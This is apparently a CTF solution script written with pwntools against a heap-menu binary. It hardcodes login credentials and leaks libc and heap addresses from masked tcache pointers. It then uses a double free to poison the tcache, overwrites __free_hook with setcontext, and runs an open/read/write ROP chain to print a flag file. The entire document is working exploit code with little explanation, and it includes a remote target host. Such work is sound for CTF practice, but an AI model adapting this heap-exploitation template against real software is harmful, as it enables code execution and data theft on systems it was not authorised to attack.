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| from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['tmux', 'sp', '-h']
local = 1
elf = ELF('./pwn')
if local:
p = process('./pwn')
libc = ELF('./libc.so.6')
else:
p = remote('0192d6496a03783395106845917ed538.gqlw.dg06.ciihw.cn',43668)
libc = ELF('./libc.so.6')
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
rl = lambda : p.recvline()
ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()
ia = lambda : p.interactive()
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
def lg(s):
success("%s >> 0x%x" % (s, eval(s)))
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def rc4(data):
key = b's4cur1ty_p4ssw0rd'
# 初始化状态向量
S = list(range(256))
j = 0
# KSA (Key Scheduling Algorithm)
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i] # 交换
# PRGA (Pseudo-Random Generation Algorithm)
i = j = 0
output = bytearray()
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i] # 交换
K = S[(S[i] + S[j]) % 256]
output.append(byte ^ K) # XOR 操作
return output
def cmd(op):
sla("> ",str(op))
def add(index,size,content):
cmd(1)
sla("Input the key: ",str(index))
sla("Input the value size: ",str(size))
sla("Input the value: ",content)
def show(index):
cmd(2)
sla("Input the key: ",str(index))
def free(index):
cmd(3)
sla("Input the key: ",str(index))
def edit(index,content):
cmd(4)
sla("Input the key: ",str(index))
sla("Input the value: ",content)
sa("Input your username:",'4dm1n\n')
sa("Input your password:",'985da4f8cb37zkj\n')
for i in range(12):
add(i,0xf0,'a'*8)
for i in range(10):
free(9-i)
show(0)
ru("The result is:\n\t[key,value] = [0,")
libc_base = (uu64(rc(6)[-6:]) ^ 0xa4b3e366e833) - 0x3ebca0 # 2e50a4b3e366e833
lg('libc_base')
show(4)
ru("The result is:\n\t[key,value] = [4,")
heap_base = (uu64(rc(6)[-6:]) ^ 0xa4b3e366e833) - 0x1b70 # 2e50a4b3e366e833
lg('heap_base')
flag_addr = heap_base + 0x1b70
rop_addr = flag_addr + 16 + 0x100
pop_rbp = libc_base + next(libc.search(asm('pop rbp;ret;')))
leave_ret = libc_base + next(libc.search(asm('leave;ret;')))
ret = libc_base + next(libc.search(asm('ret;')))
pop_rdi = libc_base + next(libc.search(asm('pop rdi;ret;')))
pop_rsi = libc_base + next(libc.search(asm('pop rsi;ret;')))
pop_rdx = libc_base + next(libc.search(asm('pop rdx;ret;')))
pop_rax = libc_base + next(libc.search(asm('pop rax;ret;')))
syscall_ret = libc_base + next(libc.search(asm('syscall\nret')))
stdout_addr = libc_base + libc.sym['_IO_2_1_stdout_']
stderr_addr = libc_base + libc.sym['_IO_2_1_stderr_']
libc_write = libc_base + libc.sym['write']
libc_read = libc_base + libc.sym['read']
free_hook = libc_base + libc.sym['__free_hook']
set_context = libc_base + 0x52085
add(0,0xf0,'a'*8)
add(1,0xf0,'a'*8)
add(2,0xf0,'a'*8)
payload = b'./flag.txt\x00\x00\x00\x00\x00\x00'
payload+= p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall_ret)
payload+= p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x50) + p64(libc_read)
payload+= p64(pop_rdi) + p64(1) + p64(libc_write)
payload = payload.ljust(0xa0, b'a')
payload += p64(rop_addr)
payload += p64(ret)
add(11,0xf0,payload)
free(2)
free(1)
free(2)
edit(2,p64(free_hook^0x2e50a4b3e366e833))
add(0,0xf0,rc4(payload))
add(0,0xf0,p64(set_context^0x2e50a4b3e366e833))
free(11)
ia()
|